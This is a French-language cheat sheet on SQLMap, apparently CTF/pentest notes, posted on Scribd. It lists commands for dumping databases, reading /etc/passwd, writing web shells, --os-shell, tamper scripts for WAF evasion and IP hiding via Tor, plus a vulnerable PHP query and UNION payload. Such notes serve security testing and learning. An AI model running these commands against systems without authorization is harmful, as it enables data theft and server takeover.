0% ont trouvé ce document utile (0 vote)
166 vues7 pages

Guide SQLMap : Exploitation Automatisée des Vulnérabilités SQL

Transféré par

Leo Roullois
Copyright
© © All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd
0% ont trouvé ce document utile (0 vote)
166 vues7 pages

Guide SQLMap : Exploitation Automatisée des Vulnérabilités SQL

Transféré par

Leo Roullois
Copyright
© © All Rights Reserved
Nous prenons très au sérieux les droits relatifs au contenu. Si vous pensez qu’il s’agit de votre contenu, signalez une atteinte au droit d’auteur ici.
Formats disponibles
Téléchargez aux formats PDF, TXT ou lisez en ligne sur Scribd

#tools #web

SQLMap est un outil d'injection SQL automatisé qui permet de détecter et d'exploiter des vulnérabilités SQL
dans les applications web.

Pour plus de facilité on peut copier une requête curl et remplacé curl par sqlmap.

Ou alors on peut direct copier la requête http burp dans un fichier texte et faire comme ceci :

sqlmap -r [Link] language-bash

sqlmap -u "[Link] language-bash


sqlmap -u "[Link] --dbs
sqlmap -u "[Link] -D <DATABASE_NAME> --tables
sqlmap -u "[Link] -D <DATABASE_NAME> -T <TABLE_NAME> --dump
sqlmap -u "[Link] --random-agent --tamper=<SCRIPT>

sqlmap -u "[Link] --batch


sqlmap -u "[Link] --batch --dbs

sqlmap -u [Link] --data='id=1' --method PUT


sqlmap -u "[Link] --batch -t /tmp/[Link]

sqlmap -u "[Link] --batch --level 5 --risk 3 --dump -T "flag5" --no-


cast

sqlmap -u "[Link] --batch --level 5 --risk 3 --dump -T "flag7" --no-


cast --union-cols=5 --dbms=MySQL --technique=U

-u : URL cible à tester pour l'injection SQL.


--batch remplir automatiquement les inputs utilisateurs plutôt que de demander a chaque fois
--union-cols : le nombre de colonnes pour une injection UNION BASED, exemple --union-cols=3
--technique=U pour une injection UNION BASED
B: Boolean-based blind
E: Error-based
U: Union query-based
S: Stacked queries
T: Time-based blind
Q: Inline queries
--dbs : Lister toutes les bases de données disponibles.
--dbms=PostgreSQL : spécifier le type de bdd utilisé
-D <DATABASE_NAME> : Spécifier la base de données cible.
--tables : Lister toutes les tables dans cette base de données.
-T <TABLE_NAME> : Spécifier la table à dumper.
--dump : Extraire toutes les données de la table.
--file-read : Lire un fichier du filesystem, exemple : --file-read "/etc/passwd"
--file-write pour écrire un fichier, par exemple : --file-write "[Link]" --file-dest
"/var/www/html/[Link]"
--os-shell
--random-agent : Utiliser des User-Agent aléatoires pour éviter les détections.
--tamper=<SCRIPT> : Utiliser des scripts d'obfuscation pour contourner les WAF.
--parse-errors pour afficher les erreurs
-t stocker toutes les requetes HTTP envoyées et reçues, -t /tmp/[Link]
-v verbosité, par exemple -v 6 pour print toutes les erreurs et les requêtes HTTP
--proxy poru redirigé tout le trafique vers burp
-p id : spécifier le paramètre à injecter

Database Enumeration
--banner
--current-user
--hostname
--current-db
--passwords
--is-dba : teste si l'utilisateur de la db a les droits administrateurs (DBA)

language-bash
sqlmap -u "[Link] --banner --current-user --current-db --is-dba

--tables
-D testdb
--dump
-T table
-C col1,col2

sqlmap -u "[Link] --dump -T users -D testdb language-bash

sqlmap -u "[Link] --dump -T users -D testdb -C name,surname

--where="name LIKE 'f%'"


--schema : dump le schéma de la bdd
--search , exemple : --search -T user , --search -C pass

sqlmap ... --cookie='PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c' language-shell-session


sqlmap ... -H='Cookie:PHPSESSID=ab4530f4a7d10448457fa8b0eadac29c'

Réglage de l'Attaque
Composants du Payload

Vecteur : Partie centrale du payload, contenant le code SQL utile à exécuter sur la cible.
Limites : Formations de préfixe et de suffixe utilisées pour l'injection correcte du vecteur dans
l'instruction SQL vulnérable.

Préfixe/Suffixe

Cas Spéciaux : Dans des cas rares, des valeurs de préfixe et de suffixe spéciales sont nécessaires.
Options : Utilisez --prefix et --suffix pour spécifier ces valeurs.

sqlmap -u "[Link]/?q=test" --prefix="%'))" --suffix="-- -" language-bash

Exemple :
Code vulnérable :
language-php
$query = "SELECT id,name,surname FROM users WHERE id LIKE (('" . $_GET["q"] . "'))
LIMIT 0,1";
$result = mysqli_query($link, $query);

Instruction SQL résultante :

language-sql
SELECT id,name,surname FROM users WHERE id LIKE (('test%')) UNION ALL SELECT
1,2,VERSION()-- -')) LIMIT 0,1

Niveau/Risque

Par Défaut : SQLMap utilise un ensemble prédéfini de limites et de vecteurs courants.


Options :
--level (1-5, par défaut 1) : Étend les vecteurs et les limites en fonction de leur probabilité de
succès.
--risk (1-3, par défaut 1) : Étend les vecteurs en fonction du risque de causer des problèmes
côté cible.
Verbosité : Utilisez -v 3 ou plus pour voir les différences dans les limites et les payloads utilisés.

sqlmap -u [Link]/?id=1 -v 3 --level=5 language-bash

Comparaison des Payloads :


Niveau et risque par défaut :

sqlmap -u [Link]/?id=1 -v 3 language-bash

Niveau et risque augmentés :

sqlmap -u [Link]/?id=1 --level=5 --risk=3 language-bash

Nombre de Payloads :
Par défaut : Jusqu'à 72 payloads.
Maximum : Jusqu'à 7,865 payloads.

Réglage Avancé

Codes de Statut : Utilisez --code pour fixer la détection basée sur des codes HTTP spécifiques.
Titres : Utilisez --titles pour baser la détection sur le contenu de la balise HTML <title> .
Chaînes : Utilisez --string pour fixer la détection basée sur une valeur de chaîne spécifique.
Texte Seulement : Utilisez --text-only pour supprimer les balises HTML et baser la comparaison sur
le contenu textuel.
Techniques : Utilisez --technique pour spécifier la technique SQLi à utiliser.

--technique=BEU language-bash

Réglage de l'Injection SQL UNION

Colonnes : Utilisez --union-cols pour spécifier le nombre exact de colonnes.


Caractères : Utilisez --union-char pour spécifier des valeurs de remplissage alternatives.
Clause FROM : Utilisez --union-from pour définir un appendice requis pour la requête UNION.
--union-cols=17 language-bash
--union-char='a'
--union-from=users

Recommandations

Les utilisateurs réguliers sont invités à ne pas toucher aux options avancées en raison du temps de
détection accru.
Dans des cas spéciaux, comme les pages de connexion, augmenter le niveau de risque peut être
nécessaire.

Contournement des protections des applications Web


Contournement des jetons Anti-CSRF

Problème : Les jetons Anti-CSRF protègent contre l’automatisation en exigeant des jetons valides.
Solution : SQLMap utilise l’option --csrf-token pour détecter et mettre à jour automatiquement les
valeurs de jetons dans les requêtes.

Contournement des valeurs uniques

Problème : Les valeurs uniques dans les paramètres peuvent bloquer l’automatisation.
Solution : SQLMap utilise l’option --randomize pour s'assurer que chaque requête contient une valeur
unique pour certains paramètres.

Contournement des paramètres calculés

Problème : Certains paramètres sont dérivés d'autres valeurs (ex : hachages).


Solution : SQLMap utilise l’option --eval pour calculer dynamiquement les valeurs des paramètres
avec du code Python.

Dissimuler l’adresse IP

Problème : L’adresse IP peut être mise sur liste noire.


Solution : Utilisez --proxy pour passer par un proxy ou --tor pour l'anonymat via le réseau Tor.

Contournement des pare-feux d'applications Web (WAF)

Problème : Les WAF bloquent les requêtes malveillantes.


Solution : SQLMap détecte les WAF et peut ignorer cette détection avec --skip-waf .

Contournement de la mise sur liste noire de l'agent utilisateur

Problème : L’agent utilisateur par défaut peut être bloqué.


Solution : Utilisez --random-agent pour randomiser la chaîne d'agent utilisateur.

Scripts de modification (Tamper)

Objectif : Modifier les charges SQL pour contourner les WAF/IPS.


Scripts courants : between , randomcase , space2comment , etc.
Utilisation : Enchaînez les scripts avec --tamper pour des contournements avancés.

Contournements divers
Encodage en transfert fragmenté : Utilisez --chunked pour diviser le corps des requêtes POST,
contournant les filtres de mots-clés.
Pollution des paramètres HTTP (HPP) : Divisez les charges utiles sur plusieurs valeurs de paramètres
pour éviter la détection.
--tamper : --tamper=between,randomcase

Tamper-Script Description
0eunion Replaces instances of UNION with e0UNION
base64encode Base64-encodes all characters in a given payload
between Replaces greater than operator ( > ) with NOT BETWEEN 0 AND # and
equals operator ( = ) with BETWEEN # AND #
commalesslimit Replaces (MySQL) instances like LIMIT M, N with LIMIT N OFFSET M
counterpart
equaltolike Replaces all occurrences of operator equal ( = ) with LIKE counterpart
halfversionedmorekeywords Adds (MySQL) versioned comment before each keyword
modsecurityversioned Embraces complete query with (MySQL) versioned comment
modsecurityzeroversioned Embraces complete query with (MySQL) zero-versioned comment
percentage Adds a percentage sign ( % ) in front of each character (e.g. SELECT ->
%S%E%L%E%C%T)
plus2concat Replaces plus operator ( + ) with (MsSQL) function CONCAT() counterpart
randomcase Replaces each keyword character with random case value (e.g. SELECT -
> SEleCt)
space2comment Replaces space character ( ) with comments `/
space2dash Replaces space character ( ) with a dash comment ( -- ) followed by a
random string and a new line ( \n )
space2hash Replaces (MySQL) instances of space character ( ) with a pound
character ( # ) followed by a random string and a new line ( \n )
space2mssqlblank Replaces (MsSQL) instances of space character ( ) with a random blank
character from a valid set of alternate characters
space2plus Replaces space character ( ) with plus ( + )
space2randomblank Replaces space character ( ) with a random blank character from a valid
set of alternate characters
symboliclogical Replaces AND and OR logical operators with their symbolic counterparts
( && and \| )
versionedkeywords Encloses each non-function keyword with (MySQL) versioned comment
versionedmorekeywords Encloses each keyword with (MySQL) versioned comment

Résumé de la Description de la Sortie de SQLMap


Description des Messages de Journal

Contenu de l'URL est stable

Message de Journal: "target URL content is stable"


Description: Indique qu'il n'y a pas de changements majeurs entre les réponses pour des requêtes
identiques continues, aidant à repérer les différences causées par les tentatives potentielles de SQLi.

Le paramètre semble être dynamique


Message de Journal: "GET parameter 'id' appears to be dynamic"
Description: Suggère que les changements apportés à la valeur du paramètre entraînent un
changement dans la réponse, indiquant un lien potentiel avec une base de données.

Le paramètre pourrait être injectable

Message de Journal: "heuristic (basic) test shows that GET parameter 'id' might be injectable
(possible DBMS: 'MySQL')"
Description: Indique une vulnérabilité potentielle d'injection SQL basée sur les erreurs de DBMS, mais
ce n'est pas une preuve définitive.

Le paramètre pourrait être vulnérable aux attaques XSS

Message de Journal: "heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-
site scripting (XSS) attacks"
Description: Test heuristique rapide pour les vulnérabilités XSS, utile dans les tests à grande échelle.

Le DBMS back-end est '...'

Message de Journal: "it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads
specific for other DBMSes? [Y/n]"
Description: Réduit les charges utiles à un DBMS spécifique s'il est détecté, réduisant ainsi la portée
des tests.

Valeurs de niveau/risque

Message de Journal: "for the remaining tests, do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1) values? [Y/n]"
Description: Option pour étendre les tests pour un DBMS spécifique au-delà des tests réguliers.

Valeurs réfléchissantes trouvées

Message de Journal: "reflective value(s) found and filtering out"


Description: Avertissement concernant les parties des charges utiles trouvées dans la réponse, gérées
par les mécanismes de filtrage de SQLMap.

Le paramètre semble être injectable

Message de Journal: "GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or
HAVING clause' injectable (with --string="luther")"
Description: Indique une injectabilité potentielle avec une chance de faux positifs, en utilisant une
chaîne constante pour distinguer les réponses.

Modèle statistique de comparaison basée sur le temps

Message de Journal: "time-based comparison requires a larger statistical model, please wait...........
(done)"
Description: Modèle statistique utilisé pour distinguer les réponses régulières et retardées dans des
environnements à haute latence.

Extension des tests de technique d'injection de requête UNION

Message de Journal: "automatically extending ranges for UNION query injection technique tests as
there is at least one other (potential) technique found"
Description: Étend le nombre de requêtes pour l'injection SQL UNION si une autre technique
potentielle est trouvée.
La technique semble être utilisable

Message de Journal: "ORDER BY' technique appears to be usable. This should reduce the time needed
to find the right number of query columns. Automatically extending the range for current UNION query
injection technique test"
Description: Utilise la technique ORDER BY pour reconnaître rapidement le nombre correct de
colonnes UNION.

Le paramètre est vulnérable

Message de Journal: "GET parameter 'id' is vulnerable. Do you want to keep testing the others (if
any)? [y/N]"
Description: Indique qu'un paramètre est vulnérable aux injections SQL, avec une option pour
continuer à tester d'autres paramètres.

SQLMap a identifié des points d'injection

Message de Journal: "sqlmap identified the following injection point(s) with a total of 46 HTTP(s)
requests:"
Description: Liste tous les points d'injection exploitables de manière prouvée avec le type, le titre et
les charges utiles.

Données enregistrées dans des fichiers texte

Message de Journal: "fetched data logged to text files under


'/home/user/.sqlmap/output/[Link]'"
Description: Indique l'emplacement du système de fichiers local pour stocker les journaux, les
sessions et les données de sortie, réduisant ainsi les requêtes cibles futures.

Vous aimerez peut-être aussi